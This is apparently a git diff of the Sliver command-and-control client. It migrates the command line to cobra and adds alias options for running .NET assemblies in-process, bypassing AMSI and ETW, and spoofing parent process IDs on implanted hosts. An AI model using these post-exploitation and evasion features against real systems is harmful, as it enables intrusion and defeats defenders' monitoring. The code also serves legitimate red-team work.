if _, err := os.Stat(logsDir); os.IsNotExist(err) {
err = os.MkdirAll(logsDir, 0700)
if err != nil {
log.Fatal(err)
}
}
return logsDir
}
// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
func GetConsoleLogsDir() string {
consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
err = os.MkdirAll(consoleLogsDir, 0700)
if err != nil {
log.Fatal(err)
}
}
return consoleLogsDir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
if err != nil {
return ""
}
+7 -8
View File
@@ -23,10 +23,9 @@ import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"io"
"log"
"os"
"path"
"path/filepath"
)
@@ -51,7 +50,7 @@ func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
err = os.MkdirAll(dir, 0o700)
if err != nil {
log.Fatal(err)
}
@@ -62,7 +61,7 @@ func GetConfigDir() string {
// GetConfigs - Returns a list of available configs
func GetConfigs() map[string]*ClientConfig {
configDir := GetConfigDir()
configFiles, err := ioutil.ReadDir(configDir)
configFiles, err := os.ReadDir(configDir)
if err != nil {
log.Printf("No configs found %v", err)
return map[string]*ClientConfig{}
@@ -70,8 +69,8 @@ func GetConfigs() map[string]*ClientConfig {
confs := map[string]*ClientConfig{}
for _, confFile := range configFiles {
confFilePath := path.Join(configDir, confFile.Name())
log.Printf("Parsing config %s", confFilePath)
confFilePath := filepath.Join(configDir, confFile.Name())
// log.Printf("Parsing config %s", confFilePath)
conf, err := ReadConfig(confFilePath)
if err != nil {
@@ -91,7 +90,7 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
data, err := io.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
return nil, err
@@ -114,7 +113,7 @@ func SaveConfig(config *ClientConfig) error {
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
err := os.WriteFile(saveTo, configJSON, 0o600)
if err != nil {
log.Printf("Failed to write config to: %s (%v)", saveTo, err)
return err
+1 -2
View File
@@ -19,7 +19,6 @@ package assets
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
@@ -46,7 +45,7 @@ func GetExtensionsDir() string {
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
extDirContent, err := os.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
+12 -3
View File
@@ -20,7 +20,7 @@ package assets
import (
"encoding/json"
"io/ioutil"
"os"
"path/filepath"
)
@@ -33,12 +33,17 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
UserConnect bool `json:"user_connect"`
ConsoleLogs bool `json:"console_logs"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
@@ -55,6 +60,10 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
ConsoleLogs: true,
}
}
@@ -68,6 +77,6 @@ func SaveSettings(settings *ClientSettings) error {
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
return err
}
+32 -44
View File
@@ -24,27 +24,23 @@ import (
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/version"
)
const (
logFileName = "sliver-client.log"
)
var (
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
)
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
// Initialize logging
func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
if err != nil {
panic(fmt.Sprintf("[!] Error opening file: %s", err))
}
@@ -53,51 +49,43 @@ func initLogging(appDir string) *os.File {
}
func init() {
rootCmd.TraverseChildren = true
// Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of
// the same underlying command/run infrastructure.
con := console.NewConsole(false)
// Import
rootCmd.AddCommand(cmdImport)
rootCmd.AddCommand(importCmd())
// Version
rootCmd.AddCommand(cmdVersion)
// Client console.
// All commands and RPC connection are generated WITHIN the command RunE():
// that means there should be no redundant command tree/RPC connections with
// other command trees below, such as the implant one.
rootCmd.AddCommand(consoleCmd(con))
// Implant.
// The implant command allows users to run commands on slivers from their
// system shell. It makes use of pre-runners for connecting to the server
// and binding sliver commands. These same pre-runners are also used for
// command completion/filtering purposes.
rootCmd.AddCommand(implantCmd(con))
// No subcommand invoked means starting the console.
rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
// Completions
carapace.Gen(rootCmd)
}
var rootCmd = &cobra.Command{
Use: "sliver-client",
Short: "",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
os.Args = os.Args[:1] // Stops grumble from complaining
err := StartClientConsole()
if err != nil {
fmt.Printf("[!] %s\n", err)
}
},
}
// StartClientConsole - Start the client console
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
-2
View File
@@ -28,7 +28,6 @@ import (
)
func selectConfig() *assets.ClientConfig {
configs := assets.GetConfigs()
if len(configs) == 0 {
@@ -53,7 +52,6 @@ func selectConfig() *assets.ClientConfig {
}
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
keys := []string{}
for k := range configs {
keys = append(keys, k)
+73
View File
@@ -0,0 +1,73 @@
package cli
import (
"fmt"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
)
// consoleCmd generates the console with required pre/post runners
func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
consoleCmd := &cobra.Command{
Use: "console",
Short: "Start the sliver client console",
}
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
return consoleCmd
}
func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
var ln *grpc.ClientConn
pre = func(_ *cobra.Command, _ []string) error {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
// Don't clobber output when simply running an implant command from system shell.
if run {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
}
var rpc rpcpb.SliverRPCClient
var err error
rpc, ln, err = transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
}
// Close the RPC connection once exiting
post = func(_ *cobra.Command, _ []string) error {
if ln != nil {
return ln.Close()
}
return nil
}
return pre, post
}
+76
View File
@@ -0,0 +1,76 @@
package cli
import (
"errors"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
)
func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
con.IsCLI = true
makeCommands := command.SliverCommands(con)
cmd := makeCommands()
cmd.Use = constants.ImplantMenu
// Flags
implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
implantFlags.StringP("use", "s", "", "interact with a session")
cmd.Flags().AddFlagSet(implantFlags)
// Prerunners (console setup, connection, etc)
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
// Completions
makeCompleters(cmd, con)
return cmd
}
func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
startConsole, closeConsole := consoleRunnerCmd(con, false)
// The pre-run function connects to the server and sets up a "fake" console,
// so we can have access to active sessions/beacons, and other stuff needed.
pre = func(_ *cobra.Command, args []string) error {
startConsole(implantCmd, args)
// Set the active target.
target, _ := implantCmd.Flags().GetString("use")
if target == "" {
return errors.New("no target implant to run command on")
}
session := con.GetSession(target)
if session != nil {
con.ActiveTarget.Set(session, nil)
}
return nil
}
return pre, closeConsole
}
func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
comps := carapace.Gen(cmd)
comps.PreRun(func(cmd *cobra.Command, args []string) {
cmd.PersistentPreRunE(cmd, args)
})
// Bind completers to flags (wrap them to use the same pre-runners)
command.FlagComps(cmd, func(comp *carapace.ActionMap) {
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
cmd.PersistentPreRunE(cmd, c.Args)
return use.SessionIDCompleter(con)
})
})
}
+28 -17
View File
@@ -22,26 +22,37 @@ import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
)
var cmdImport = &cobra.Command{
Use: "import",
Short: "Import a client configuration file",
Long: `import [config files]`,
Run: func(cmd *cobra.Command, args []string) {
if 0 < len(args) {
for _, arg := range args {
conf, err := assets.ReadConfig(arg)
if err != nil {
fmt.Printf("[!] %s\n", err)
os.Exit(3)
func importCmd() *cobra.Command {
cmdImport := &cobra.Command{
Use: "import",
Short: "Import a client configuration file",
Long: `import [config files]`,
Run: func(cmd *cobra.Command, args []string) {
if 0 < len(args) {
for _, arg := range args {
conf, err := assets.ReadConfig(arg)
if err != nil {
fmt.Printf("[!] %s\n", err)
os.Exit(3)
}
assets.SaveConfig(conf)
}
assets.SaveConfig(conf)
} else {
fmt.Printf("Missing config file path, see --help")
}
} else {
fmt.Printf("Missing config file path, see --help")
}
},
},
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
return []string{}, cobra.ShellCompDirectiveDefault
},
}
carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
return cmdImport
}
+2 -1
View File
@@ -21,8 +21,9 @@ package cli
import (
"fmt"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/version"
)
var cmdVersion = &cobra.Command{
+17 -2
View File
@@ -27,18 +27,22 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
return nil
}
// PrintAliases - Print a list of loaded aliases
@@ -124,3 +128,14 @@ func getInstalledManifests() map[string]*AliasManifest {
}
return installedManifests
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := []string{}
for name := range loadedAliases {
results = append(results, name)
}
return carapace.ActionValues(results...).Tag("aliases")
})
}
+13 -12
View File
@@ -26,15 +26,16 @@ import (
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
aliasLocalPath := args[0]
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
@@ -59,9 +60,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
@@ -74,12 +75,12 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
con.PrintErrorf("Error creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
@@ -90,7 +91,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
@@ -129,12 +130,12 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
con.PrintErrorf("Failed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
@@ -142,7 +143,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
@@ -153,7 +154,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
if err != nil {
return err
}
+172 -76
View File
@@ -22,12 +22,17 @@ import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
app "github.com/reeflective/console"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -35,8 +40,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -63,7 +66,7 @@ var (
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
Command *cobra.Command
}
// AliasFile - An OS/Arch specific file
@@ -121,9 +124,10 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, cmd.Root(), con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
@@ -132,7 +136,7 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
@@ -141,7 +145,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
// parse it
data, err := ioutil.ReadFile(manifestPath)
data, err := os.ReadFile(manifestPath)
if err != nil {
return nil, err
}
@@ -150,42 +154,46 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &cobra.Command{
Use: aliasManifest.CommandName,
Short: helpMsg,
Long: longHelpMsg,
Run: func(cmd *cobra.Command, args []string) {
runAliasCommand(cmd, con, args)
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
GroupID: consts.AliasHelpGroup,
Annotations: makeAliasPlatformFilters(aliasManifest),
}
con.App.AddCommand(addAliasCmd)
if aliasManifest.IsAssembly {
f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
addAliasCmd.Flags().AddFlagSet(f)
}
f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
f.StringP("process", "p", "", "Path to process to host the shared object")
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.BoolP("save", "s", false, "Save output to disk")
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
addAliasCmd.Flags().AddFlagSet(f)
cmd.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
@@ -233,7 +241,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
@@ -248,26 +256,61 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
loadedAlias, ok := loadedAliases[cmd.Name()]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
// args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated.
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
// if the flag is not registered.
if aliasManifest.IsAssembly {
inProcess, _ := cmd.Flags().GetBool("in-process")
runtime, _ := cmd.Flags().GetString("runtime")
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
if !inProcess {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
}
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
return
}
} else if !aliasManifest.IsReflective {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
}
con.PrintWarnf(msgStr)
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName, _ := cmd.Flags().GetString("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
@@ -279,15 +322,16 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if save, _ := cmd.Flags().GetBool("save"); save {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
outFilePath, err = os.CreateTemp("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -296,20 +340,37 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
if aliasManifest.IsAssembly {
// Flags
arch, _ := cmd.Flags().GetString("arch")
method, _ := cmd.Flags().GetString("method")
className, _ := cmd.Flags().GetString("class")
appDomain, _ := cmd.Flags().GetString("app-domain")
pPid, _ := cmd.Flags().GetUint32("ppid")
inProcess, _ := cmd.Flags().GetBool("in-process")
runtime, _ := cmd.Flags().GetString("runtime")
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: arch,
Method: method,
ClassName: className,
AppDomain: appDomain,
ProcessArgs: processArgs,
PPid: pPid,
InProcess: inProcess,
Runtime: runtime,
AmsiBypass: amsiBypass,
EtwBypass: etwBypass,
})
ctrl <- true
<-ctrl
@@ -325,26 +386,30 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Flags
pPid, _ := cmd.Flags().GetUint32("ppid")
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: pPid,
})
ctrl <- true
<-ctrl
@@ -360,27 +425,31 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
